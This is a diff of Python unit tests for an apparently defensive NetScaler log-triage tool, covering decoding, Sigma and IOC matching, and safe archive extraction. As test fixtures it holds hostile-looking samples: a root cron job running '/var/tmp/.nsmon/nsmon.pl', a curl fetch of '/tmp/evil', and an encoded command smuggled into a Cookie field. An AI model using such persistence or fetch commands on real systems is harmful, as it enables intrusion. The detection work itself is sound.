prompt.assert_called_once()
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
self.assert_password_absent(password, output)
|
||||
|
||||
def test_password_option_alone_uses_current_folder(self) -> None:
|
||||
password = "SYNTHETIC-default-SECRET-39219"
|
||||
self.encrypted_archive(password)
|
||||
output = self.invoke(["--password", password])
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
self.assert_password_absent(password, output)
|
||||
|
||||
def test_output_inside_original_input_is_rejected_before_changes(self) -> None:
|
||||
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
before = {
|
||||
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
|
||||
for p in self.root.rglob("*")
|
||||
}
|
||||
stdout, stderr = io.StringIO(), io.StringIO()
|
||||
with redirect_stdout(stdout), redirect_stderr(stderr):
|
||||
result = main([str(self.case), "--output", str(self.case / "generated" / "out")])
|
||||
self.assertNotEqual(result, 0)
|
||||
after = {
|
||||
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
|
||||
for p in self.root.rglob("*")
|
||||
}
|
||||
self.assertEqual(before, after)
|
||||
|
||||
def test_corrupt_archive_keeps_valid_results_and_reports_partial(self) -> None:
|
||||
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
(self.case / "broken.zip").write_bytes(b"not a zip archive")
|
||||
stdout, stderr = io.StringIO(), io.StringIO()
|
||||
with redirect_stdout(stdout), redirect_stderr(stderr):
|
||||
result = main([])
|
||||
self.assertEqual(result, 2)
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
summaries = list(self.root.rglob("summary.json"))
|
||||
self.assertEqual(len(summaries), 1)
|
||||
summary = json.loads(summaries[0].read_text())
|
||||
self.assertEqual(summary["status"], "partial")
|
||||
self.assertEqual(summary["counts"]["preparation_errors"], 1)
|
||||
self.assertEqual(summary["preparation_errors"][0]["source"], "broken.zip")
|
||||
manifest = json.loads((summaries[0].parent / "preparation_manifest.json").read_text())
|
||||
failures = [entry for entry in manifest["entries"] if entry["action"] == "error"]
|
||||
self.assertEqual(len(failures), 1)
|
||||
self.assertIn("Preparation incomplete", stderr.getvalue())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,102 @@
|
||||
import base64
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from netscaler_triage.decoding import has_encoding_candidate
|
||||
from netscaler_triage.engine import scan
|
||||
|
||||
ARTIFACT = "/var/tmp/nsmon.pl"
|
||||
RULE = """title: Synthetic decoded artifact
|
||||
id: 96ddcb52-8e0b-4f8b-a41d-44e160db7464
|
||||
logsource:
|
||||
product: netscaler
|
||||
detection:
|
||||
selection:
|
||||
raw|contains: '/var/tmp/nsmon.pl'
|
||||
condition: selection
|
||||
level: medium
|
||||
"""
|
||||
|
||||
|
||||
def encoded(value: str) -> str:
|
||||
return base64.b64encode(value.encode()).decode().rstrip("=")
|
||||
|
||||
|
||||
class EncodingGateTests(unittest.TestCase):
|
||||
def test_encoded_user_agents_and_raw_blobs_keep_both_match_types(self) -> None:
|
||||
once = encoded(ARTIFACT)
|
||||
nested = encoded(once)
|
||||
url_encoded = "%" + format(ord(once[0]), "02X") + once[1:]
|
||||
lines = [
|
||||
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 404 0 "-" "{agent}"'
|
||||
for agent in (once, nested, url_encoded)
|
||||
]
|
||||
lines.extend([once, "marker:" + once, "log payload " + encoded(ARTIFACT * 3)])
|
||||
lines.extend(
|
||||
[
|
||||
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
f'"GET / HTTP/1.1" 404 0 "{once}" "synthetic-agent"',
|
||||
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
f'"GET / HTTP/1.1" 404 0 "-" "synthetic-agent" Cookie: command={once}',
|
||||
]
|
||||
)
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "messages").write_text("\n".join(lines) + "\n", encoding="utf-8")
|
||||
config: dict[str, Any] = {
|
||||
"sigma_rules": [{"source": "synthetic.yml", "yaml": RULE}],
|
||||
"indicators": [{"type": "literal", "value": ARTIFACT, "status": "reference_only"}],
|
||||
}
|
||||
summary = scan([("ADC", logs)], root / "out", [config], defaults=False)
|
||||
self.assertEqual(summary["counts"]["records"], len(lines))
|
||||
events = [
|
||||
json.loads(row) for row in (root / "out/findings.jsonl").read_text().splitlines()
|
||||
]
|
||||
self.assertEqual(len(events), len(lines))
|
||||
for event, original in zip(events, lines, strict=True):
|
||||
self.assertEqual(event["raw"], original)
|
||||
self.assertIn("96ddcb52-8e0b-4f8b-a41d-44e160db7464", event["rules"])
|
||||
self.assertTrue(any(hit["value"] == ARTIFACT for hit in event["indicator_matches"]))
|
||||
self.assertTrue(
|
||||
any(ARTIFACT in (layer.get("output") or "") for layer in event["decoding"])
|
||||
)
|
||||
self.assertTrue(
|
||||
any("decoded:" in str(detail["basis"]) for detail in event["rule_details"])
|
||||
)
|
||||
self.assertEqual(
|
||||
sum(layer["transformation"] == "original" for layer in events[0]["decoding"]),
|
||||
1,
|
||||
"An encoded known field must not cause duplicate raw-line decoding",
|
||||
)
|
||||
cookie_layers = [
|
||||
layer
|
||||
for layer in events[-1]["decoding"]
|
||||
if layer["transformation"] == "base64"
|
||||
and layer["depth"] == 1
|
||||
and layer["input"] == once
|
||||
]
|
||||
self.assertTrue(cookie_layers)
|
||||
for layer in cookie_layers:
|
||||
self.assertEqual(lines[-1][layer["start"] : layer["end"]], layer["input"])
|
||||
|
||||
def test_ordinary_words_and_timestamps_are_not_candidates(self) -> None:
|
||||
for text in (
|
||||
"NetScaler",
|
||||
"Mozilla/5.0",
|
||||
"ordinary words and numbers 123456789",
|
||||
"Oct 01 12:00:00 appliance ready",
|
||||
"2026-10-01T12:00:00Z",
|
||||
):
|
||||
with self.subTest(text=text):
|
||||
self.assertFalse(has_encoding_candidate(text))
|
||||
self.assertTrue(has_encoding_candidate(encoded("nsmon.pl")))
|
||||
self.assertTrue(has_encoding_candidate(encoded(ARTIFACT * 2048)))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,143 @@
|
||||
import hashlib
|
||||
import json
|
||||
import sqlite3
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher
|
||||
|
||||
|
||||
class EngineTests(unittest.TestCase):
|
||||
def test_hash_iocs_match_file_and_decoded_bytes(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
content = b"original file\n"
|
||||
(logs / "sample.log").write_bytes(content)
|
||||
(logs / "http.log").write_text(
|
||||
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
'"GET /?x=aWQ%3D HTTP/1.1" 200 0 "-" "ua"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
config = {
|
||||
"indicators": [
|
||||
{"type": "sha256", "value": hashlib.sha256(value).hexdigest()}
|
||||
for value in (content, b"id")
|
||||
]
|
||||
}
|
||||
result = scan([("ADC", logs)], root / "out", [config], defaults=False)
|
||||
self.assertEqual(result["counts"]["file_hash_hits"], 1)
|
||||
file_hits = json.loads((root / "out/file_hash_hits.json").read_text())
|
||||
self.assertEqual(file_hits[0]["source"], "sample.log")
|
||||
events = [
|
||||
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
|
||||
]
|
||||
self.assertTrue(
|
||||
any(
|
||||
hit.get("basis") == "decoded_bytes_sha256"
|
||||
for event in events
|
||||
for hit in event["indicator_matches"]
|
||||
)
|
||||
)
|
||||
|
||||
def test_interrupt_records_failure_and_keeps_database(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "test.log").write_text("one\ntwo\n", encoding="utf-8")
|
||||
with (
|
||||
patch.object(
|
||||
Matcher,
|
||||
"search_with_details",
|
||||
side_effect=[(["hit"], [], []), KeyboardInterrupt()],
|
||||
),
|
||||
self.assertRaises(KeyboardInterrupt),
|
||||
):
|
||||
scan([("ADC", logs)], root / "out", [], defaults=False)
|
||||
summary = json.loads((root / "out/summary.json").read_text())
|
||||
self.assertEqual(summary["error_type"], "KeyboardInterrupt")
|
||||
with sqlite3.connect(root / "out/evidence.sqlite") as db:
|
||||
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 1)
|
||||
db.close()
|
||||
|
||||
def test_match_timeout_preserves_record_and_continues(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "test.log").write_text("problem\nfollowing\n", encoding="utf-8")
|
||||
with patch.object(
|
||||
Matcher, "search_with_details", side_effect=[TimeoutError(), (["hit"], [], [])]
|
||||
):
|
||||
result = scan([("ADC", logs)], root / "out", [], defaults=False)
|
||||
self.assertEqual(result["status"], "partial")
|
||||
self.assertEqual(result["counts"]["records"], 2)
|
||||
self.assertEqual(result["counts"]["selected"], 2)
|
||||
self.assertEqual(result["counts"]["matching_errors"], 1)
|
||||
rows = [
|
||||
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
|
||||
]
|
||||
self.assertEqual(rows[0]["raw"], "problem")
|
||||
self.assertTrue(rows[0]["analysis_errors"])
|
||||
self.assertEqual(rows[1]["rules"], ["hit"])
|
||||
|
||||
def test_large_decoding_candidates_are_not_cached(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "test.log").write_text(("%41" * 2000 + "\n") * 2, encoding="utf-8")
|
||||
with patch("netscaler_triage.engine.decode_layers", return_value=[]) as decode:
|
||||
scan([("ADC", logs)], root / "out", [], defaults=False)
|
||||
self.assertEqual(decode.call_count, 2)
|
||||
|
||||
def test_multi_appliance_and_decoded_match(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
inputs = []
|
||||
for name in ("one", "two"):
|
||||
directory = root / name
|
||||
directory.mkdir()
|
||||
(directory / "http.log").write_text(
|
||||
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] [42] "
|
||||
'"GET /test?x=aWQ%3D HTTP/1.1" 403 0 "-" "ua"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
inputs.append((name, directory))
|
||||
result = scan(
|
||||
inputs,
|
||||
root / "out",
|
||||
[{"patterns": [{"id": "id", "pattern": "^id$"}]}],
|
||||
defaults=False,
|
||||
)
|
||||
self.assertEqual(result["counts"]["findings"], 2)
|
||||
db = sqlite3.connect(root / "out/evidence.sqlite")
|
||||
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 2)
|
||||
event = json.loads(db.execute("SELECT data FROM events LIMIT 1").fetchone()[0])
|
||||
self.assertTrue(any(step.get("output") == "id" for step in event["decoding"]))
|
||||
db.close()
|
||||
with self.assertRaises(ValueError):
|
||||
scan(inputs, root / "one/out", [])
|
||||
with self.assertRaises(ValueError):
|
||||
scan(inputs, root / "out", [])
|
||||
|
||||
def test_literal_ip_boundaries_and_timeout(self) -> None:
|
||||
matcher = Matcher(
|
||||
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}], defaults=False
|
||||
)
|
||||
self.assertFalse(matcher.search("192.0.2.11")[1])
|
||||
self.assertTrue(matcher.search("source 192.0.2.1 end")[1])
|
||||
pathological = Matcher(
|
||||
[{"patterns": [{"pattern": "(a+)+$"}]}], timeout=0.001, defaults=False
|
||||
)
|
||||
with self.assertRaises(TimeoutError):
|
||||
pathological.search("a" * 10000 + "!")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,97 @@
|
||||
"""Synthetic indicator boundaries, overlapping values and contextual packs."""
|
||||
|
||||
import unittest
|
||||
|
||||
from netscaler_triage.matching import Matcher
|
||||
|
||||
|
||||
class IndicatorMatchingTests(unittest.TestCase):
|
||||
def matcher(self, kind: str, value: str) -> Matcher:
|
||||
return Matcher([{"indicators": [{"type": kind, "value": value}]}], defaults=False)
|
||||
|
||||
def test_typed_boundaries_and_case(self) -> None:
|
||||
cases = [
|
||||
("ipv4", "192.0.2.1", "peer 192.0.2.1:443", "peer 192.0.2.10"),
|
||||
("domain", "example.test", "https://sub.example.test/a", "example.test.evil"),
|
||||
("domain", "example.test", "EXAMPLE.TEST", "notexample.test"),
|
||||
("path", "/tmp/evil", "curl https://host.test/tmp/evil", "/tmp/evil.backup"),
|
||||
("path", "/tmp/evil", "cat /tmp/evil", "/safe/tmp/evil"),
|
||||
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/EVIL"),
|
||||
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/evil%2Ebackup"),
|
||||
(
|
||||
"url",
|
||||
"http://example.test/a",
|
||||
"http://example.test/a",
|
||||
"http://example.test/a%2Flonger",
|
||||
),
|
||||
("path", "evil.php", "GET /vpn/evil.php?x=1", "/vpn/not-evil.php"),
|
||||
("url", "http://example.test/a", "HTTP://EXAMPLE.TEST/a", "http://example.test/ab"),
|
||||
("url", "http://example.test/A", "http://example.test/A", "http://example.test/a"),
|
||||
("sha256", "a" * 64, "sha256=" + "A" * 64, "g" + "a" * 64),
|
||||
]
|
||||
for kind, value, positive, negative in cases:
|
||||
with self.subTest(kind=kind, value=value):
|
||||
matcher = self.matcher(kind, value)
|
||||
self.assertTrue(matcher.search(positive)[1])
|
||||
self.assertFalse(matcher.search(negative)[1])
|
||||
|
||||
def test_unicode_case_mapping_does_not_crash_or_invent_ascii_indicator(self) -> None:
|
||||
matcher = self.matcher("literal", "id")
|
||||
self.assertFalse(matcher.search("İD")[1])
|
||||
self.assertTrue(matcher.search("ID")[1])
|
||||
|
||||
def test_prefix_indicators_are_not_lost_to_longest_alternative(self) -> None:
|
||||
matcher = Matcher(
|
||||
[{"indicators": [{"type": "literal", "value": v} for v in ["abc", "abcdef"]]}],
|
||||
defaults=False,
|
||||
)
|
||||
self.assertEqual({x["value"] for x in matcher.search("abcdef")[1]}, {"abc", "abcdef"})
|
||||
matcher = Matcher(
|
||||
[{"indicators": [{"type": "path", "value": v} for v in ["/tmp/", "/tmp/evil"]]}],
|
||||
defaults=False,
|
||||
)
|
||||
self.assertEqual(
|
||||
{x["value"] for x in matcher.search("/tmp/evil")[1]}, {"/tmp/", "/tmp/evil"}
|
||||
)
|
||||
|
||||
def test_invalid_ip_and_hash_fail_before_scanning(self) -> None:
|
||||
for kind, value in [("ipv4", "999.1.2.3"), ("ipv4", "2001:db8::1"), ("sha256", "abc")]:
|
||||
with self.subTest(kind=kind), self.assertRaises(ValueError):
|
||||
self.matcher(kind, value)
|
||||
|
||||
def test_sigma_metadata_cannot_bypass_context(self) -> None:
|
||||
yaml = """title: Contextual metadata example
|
||||
id: d7518e0b-4717-45f2-babb-970ab3d546dd
|
||||
logsource:
|
||||
product: netscaler
|
||||
service: http_access
|
||||
indicators:
|
||||
- type: ipv4
|
||||
value: 192.0.2.42
|
||||
status: reference_only
|
||||
detection:
|
||||
selection:
|
||||
uri: /suspicious
|
||||
raw|contains: 192.0.2.42
|
||||
condition: selection
|
||||
"""
|
||||
config = {"sigma_rules": [{"source": "example.yml", "yaml": yaml}]}
|
||||
matcher = Matcher([config], defaults=False)
|
||||
self.assertEqual(matcher.search("peer 192.0.2.42"), ([], []))
|
||||
self.assertFalse(matcher.indicators)
|
||||
self.assertTrue(
|
||||
matcher.search_sigma(
|
||||
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/suspicious"}
|
||||
)
|
||||
)
|
||||
self.assertFalse(
|
||||
matcher.search_sigma(
|
||||
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/health"}
|
||||
)
|
||||
)
|
||||
with self.assertRaisesRegex(ValueError, "Duplicate rule identifier"):
|
||||
Matcher([config, config], defaults=False)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,42 @@
|
||||
import unittest
|
||||
|
||||
from netscaler_triage.indicators import defang, extract_indicators
|
||||
|
||||
|
||||
class IndicatorTests(unittest.TestCase):
|
||||
def test_interleaved_url_and_path_spans(self) -> None:
|
||||
rows = extract_indicators(
|
||||
"/before http://example.test/a /between https://example.test/b?q=/internal /after"
|
||||
)
|
||||
self.assertEqual(
|
||||
{r["value"] for r in rows if r["type"] == "path"}, {"/before", "/between", "/after"}
|
||||
)
|
||||
|
||||
def test_addresses_and_domains(self) -> None:
|
||||
rows = extract_indicators(
|
||||
"src=192.0.2.1 invalid=999.1.1.1 peer=2001:db8::1 Host: example.test ordinary.txt"
|
||||
)
|
||||
values = {r["value"] for r in rows}
|
||||
self.assertIn("192.0.2.1", values)
|
||||
self.assertIn("2001:db8::1", values)
|
||||
self.assertIn("example.test", values)
|
||||
self.assertNotIn("999.1.1.1", values)
|
||||
self.assertNotIn("ordinary.txt", values)
|
||||
|
||||
def test_original_and_reversible_defang(self) -> None:
|
||||
url = "https://example.test:8443/a.php?q=1"
|
||||
rows = extract_indicators(url + " /tmp/file " + "a" * 64)
|
||||
self.assertIn(url, [r["value"] for r in rows])
|
||||
self.assertIn("sha256", [r["type"] for r in rows])
|
||||
encoded = defang(url, "url")
|
||||
self.assertNotIn("https://", encoded)
|
||||
restored = encoded.replace("[.]", ".").replace("[:]", ":").replace("hxxps:", "https:")
|
||||
self.assertEqual(restored, url)
|
||||
|
||||
def test_boundaries(self) -> None:
|
||||
self.assertEqual(extract_indicators("x192.0.2.1suffix"), [])
|
||||
self.assertFalse(any(r["type"] == "domain" for r in extract_indicators("http://[broken")))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,129 @@
|
||||
import gzip
|
||||
import io
|
||||
import tempfile
|
||||
import unittest
|
||||
import zipfile
|
||||
from collections.abc import Callable, Iterator
|
||||
from pathlib import Path
|
||||
from typing import IO, Any, cast
|
||||
from unittest.mock import patch
|
||||
|
||||
from netscaler_triage.ingest import InputError, extract_archive, inventory, iter_records
|
||||
|
||||
|
||||
class IngestTests(unittest.TestCase):
|
||||
def test_unreadable_file_does_not_hide_readable_evidence(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
(root / "bad").write_text("private")
|
||||
(root / "good").write_text("evidence\n")
|
||||
original = Path.open
|
||||
|
||||
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
|
||||
if path == root / "bad":
|
||||
raise PermissionError(13, "denied", str(path))
|
||||
return cast(IO[Any], original(path, *args, **kwargs))
|
||||
|
||||
with patch.object(Path, "open", guarded):
|
||||
listing = inventory(root)
|
||||
records = list(iter_records(root, "a"))
|
||||
self.assertEqual(listing[0]["error"], "PermissionError")
|
||||
self.assertIsNone(listing[0]["sha256"])
|
||||
self.assertEqual(records[0]["error"], "PermissionError")
|
||||
self.assertEqual(records[1]["raw"], "evidence")
|
||||
|
||||
def test_directory_traversal_errors_are_visible(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
|
||||
def failed_walk(
|
||||
path: Path, *, followlinks: bool, onerror: Callable[[OSError], None]
|
||||
) -> Iterator[tuple[str, list[str], list[str]]]:
|
||||
onerror(PermissionError(13, "denied", str(root / "unreadable")))
|
||||
return iter(())
|
||||
|
||||
with patch("netscaler_triage.ingest.os.walk", failed_walk):
|
||||
rows = inventory(root)
|
||||
records = list(iter_records(root, "a"))
|
||||
self.assertEqual(rows[0]["source"], "unreadable")
|
||||
self.assertEqual(records[0]["error"], "PermissionError")
|
||||
|
||||
def test_windows_reserved_archive_names(self) -> None:
|
||||
from netscaler_triage.ingest import _member
|
||||
|
||||
for name in ("CON", "logs/NUL.txt", "COM1.log", "logs/name.", "logs/name "):
|
||||
with self.assertRaises(InputError):
|
||||
_member(name)
|
||||
|
||||
def test_binary_is_explicitly_incomplete(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
(root / "binary").write_bytes(b"hello\x00binary")
|
||||
self.assertIn("error", next(iter_records(root, "a")))
|
||||
|
||||
def test_gzip_magic_and_limits(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
(root / "messages.1").write_bytes(gzip.compress(b"hello\nworld\n"))
|
||||
before = inventory(root)
|
||||
rows = list(iter_records(root, "a"))
|
||||
self.assertEqual([r["raw"] for r in rows], ["hello", "world"])
|
||||
self.assertEqual(rows[1]["line"], 2)
|
||||
self.assertIn("error", next(iter_records(root, "a", max_line_bytes=3)))
|
||||
self.assertEqual(before, inventory(root))
|
||||
|
||||
def test_extract_and_fail_closed(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
src = root / "a.zip"
|
||||
with zipfile.ZipFile(src, "w") as z:
|
||||
z.writestr("logs/a.gz", gzip.compress(b"abc"))
|
||||
manifest = extract_archive(src, root / "good")
|
||||
self.assertEqual(manifest[0]["source"], "logs/a.gz")
|
||||
with self.assertRaises(FileExistsError):
|
||||
extract_archive(src, root / "good")
|
||||
with self.assertRaises(InputError):
|
||||
extract_archive(src, root / "limit", max_bytes=2)
|
||||
self.assertFalse((root / "limit").exists())
|
||||
with zipfile.ZipFile(src, "w") as z:
|
||||
z.writestr("../escape", "bad")
|
||||
with self.assertRaises(InputError):
|
||||
extract_archive(src, root / "bad")
|
||||
self.assertFalse((root / "bad").exists())
|
||||
self.assertFalse((root / "escape").exists())
|
||||
|
||||
def test_nested_quota_and_symlink(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
nested = io.BytesIO()
|
||||
with zipfile.ZipFile(nested, "w") as z:
|
||||
z.writestr("a", "contents")
|
||||
src = root / "a.zip"
|
||||
with zipfile.ZipFile(src, "w") as z:
|
||||
z.writestr("nested.zip", nested.getvalue())
|
||||
with self.assertRaises(InputError):
|
||||
extract_archive(src, root / "bad", max_depth=0)
|
||||
info = zipfile.ZipInfo("link")
|
||||
info.external_attr = 0o120777 << 16
|
||||
with zipfile.ZipFile(src, "w") as z:
|
||||
z.writestr(info, "/tmp/escape")
|
||||
with self.assertRaises(InputError):
|
||||
extract_archive(src, root / "bad")
|
||||
|
||||
def test_seven_zip(self) -> None:
|
||||
import py7zr
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
src = root / "a.7z"
|
||||
with py7zr.SevenZipFile(src, "w") as z:
|
||||
z.writestr(b"hello\n", "logs/messages")
|
||||
result = extract_archive(src, root / "good")
|
||||
self.assertEqual(result[0]["source"], "logs/messages")
|
||||
self.assertEqual((root / "good/logs/messages").read_bytes(), b"hello\n")
|
||||
with self.assertRaises(InputError):
|
||||
extract_archive(src, root / "limit", max_bytes=2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,171 @@
|
||||
"""Public intelligence provenance and representative matching regressions."""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from typing import Any, ClassVar
|
||||
from urllib.parse import quote
|
||||
|
||||
from netscaler_triage.decoding import decode_layers, has_encoding_candidate
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher, public_config
|
||||
|
||||
|
||||
class IntelInventoryTests(unittest.TestCase):
|
||||
catalog: ClassVar[dict[str, Any]]
|
||||
matcher: ClassVar[Matcher]
|
||||
|
||||
@classmethod
|
||||
def setUpClass(cls) -> None:
|
||||
cls.catalog = public_config()
|
||||
cls.matcher = Matcher([])
|
||||
|
||||
def test_unique_catalog_and_resolvable_public_provenance(self) -> None:
|
||||
sources = {row["id"]: row for row in self.catalog["sources"]}
|
||||
self.assertGreaterEqual(len(sources), 37)
|
||||
rows = self.catalog["indicators"]
|
||||
self.assertEqual(len(rows), len({(row["type"], row["value"]) for row in rows}))
|
||||
self.assertEqual(len(rows), len({row["id"] for row in rows}))
|
||||
for row in rows:
|
||||
with self.subTest(indicator=row["id"]):
|
||||
self.assertTrue(row["roles"])
|
||||
self.assertTrue(row["observations"])
|
||||
self.assertTrue(row["source_ids"])
|
||||
for source_id in row["source_ids"]:
|
||||
self.assertIn(source_id, sources)
|
||||
self.assertIn(sources[source_id]["url"], row["source_urls"])
|
||||
for observation in row["observations"]:
|
||||
self.assertTrue(observation["source_dates"])
|
||||
self.assertIn("original_status", observation)
|
||||
for date in observation["source_dates"]:
|
||||
self.assertIn(date["id"], sources)
|
||||
self.assertIn("published", date)
|
||||
self.assertTrue(date["retrieved"])
|
||||
urls = {source["url"] for source in sources.values()}
|
||||
self.assertIn(
|
||||
"https://misp.ifin.network/feed/63670851-a19e-4fc4-8fe5-c89bebc8e921.json", urls
|
||||
)
|
||||
self.assertTrue(any("elastic" in url for url in urls))
|
||||
self.assertTrue(any("sygnia.co" in url for url in urls))
|
||||
|
||||
def test_secondary_direction_conflicts_and_shared_proxy_context_survive(self) -> None:
|
||||
rows = self.catalog["indicators"]
|
||||
observations = [ob for row in rows for ob in row["observations"]]
|
||||
conflicts = [
|
||||
ob
|
||||
for ob in observations
|
||||
if ob.get("misp_type") == "ip-dst" and "direction conflict" in ob.get("description", "")
|
||||
]
|
||||
self.assertTrue(conflicts)
|
||||
shared = next(row for row in rows if row["value"] == "104.28.215.136")
|
||||
context = [ob for ob in shared["observations"] if ob.get("misp_to_ids") is False]
|
||||
self.assertTrue(context)
|
||||
self.assertTrue(any(ob["original_status"] == "context_only" for ob in context))
|
||||
self.assertIn("shared", json.dumps(shared).lower())
|
||||
|
||||
def test_every_public_indicator_matches_raw_and_decoded_views(self) -> None:
|
||||
for row in self.catalog["indicators"]:
|
||||
value = row["value"]
|
||||
with self.subTest(indicator=row["id"]):
|
||||
_, hits, _ = self.matcher.search_with_details(value)
|
||||
self.assertTrue(any(hit["id"] == row["id"] for hit in hits))
|
||||
raw = self.matcher.search_sigma({"raw": value})
|
||||
if value == "/var/python/bin/customsnmpd":
|
||||
self.assertFalse(
|
||||
raw
|
||||
) # Legitimate binary: standalone Sigma intentionally omitted.
|
||||
else:
|
||||
self.assertTrue(any("raw" in hit["basis"] for hit in raw))
|
||||
encoded = base64.b64encode(value.encode()).decode()
|
||||
layers = decode_layers("base64:" + encoded)
|
||||
decoded = [
|
||||
layer["output"]
|
||||
for layer in layers
|
||||
if layer.get("output") and layer.get("output_encoding") != "hex"
|
||||
]
|
||||
self.assertIn(value, decoded)
|
||||
sigma = self.matcher.search_sigma({"raw": "encoded event"}, decoded)
|
||||
if value == "/var/python/bin/customsnmpd":
|
||||
self.assertFalse(sigma)
|
||||
else:
|
||||
self.assertTrue(
|
||||
any(any(b.startswith("decoded:") for b in hit["basis"]) for hit in sigma)
|
||||
)
|
||||
escaped = quote(value, safe="")
|
||||
if escaped != value:
|
||||
url_layers = decode_layers(escaped)
|
||||
self.assertTrue(any(layer.get("output") == value for layer in url_layers))
|
||||
|
||||
def test_encoding_gate_accepts_canonical_public_indicator_fields(self) -> None:
|
||||
for row in self.catalog["indicators"]:
|
||||
encoded = base64.b64encode(row["value"].encode()).decode()
|
||||
for value in (encoded, encoded.rstrip("=")):
|
||||
with self.subTest(indicator=row["id"], encoded=value):
|
||||
self.assertTrue(has_encoding_candidate(value))
|
||||
self.assertTrue(has_encoding_candidate("payload=" + value))
|
||||
for payload in ("HTTP_X_UX", "HTTP_X_UX" * 8):
|
||||
encoded = base64.b64encode(payload.encode()).decode().rstrip("=")
|
||||
self.assertTrue(has_encoding_candidate(encoded))
|
||||
for ordinary in ("heartbeat", "INFO routine system heartbeat", "GET / HTTP/1.1"):
|
||||
self.assertFalse(has_encoding_candidate(ordinary))
|
||||
# A valid but noncanonical spelling must not pass the whole-field gate.
|
||||
self.assertFalse(has_encoding_candidate("SFRUUF9YX1VZ=="))
|
||||
|
||||
def test_ipv4_literals_do_not_match_address_prefixes(self) -> None:
|
||||
for row in self.catalog["indicators"]:
|
||||
if row["type"] != "ipv4":
|
||||
continue
|
||||
for text in ("9" + row["value"], row["value"] + "9", row["value"] + ".1"):
|
||||
with self.subTest(value=row["value"], text=text):
|
||||
_, hits, _ = self.matcher.search_with_details(text)
|
||||
self.assertFalse(any(hit["id"] == row["id"] for hit in hits))
|
||||
self.assertFalse(self.matcher.search_sigma({"raw": text}))
|
||||
|
||||
def test_behavior_patterns_match_real_syntax_not_escaped_backslashes(self) -> None:
|
||||
samples = [
|
||||
"SSL_HANDSHAKE_FAILURE DTLSv1.0 Handshake failure-Internal Error",
|
||||
"NSPPE-42 exit with orphan rings",
|
||||
"pitboss PPE unexpectedly died NSPPE;id;#",
|
||||
"HTTP_X_UX_0",
|
||||
"*/5 * * * * root perl /var/tmp/.nsmon/nsmon.pl",
|
||||
]
|
||||
for sample in samples:
|
||||
with self.subTest(sample=sample):
|
||||
self.assertTrue(self.matcher.search_sigma({"raw": sample}))
|
||||
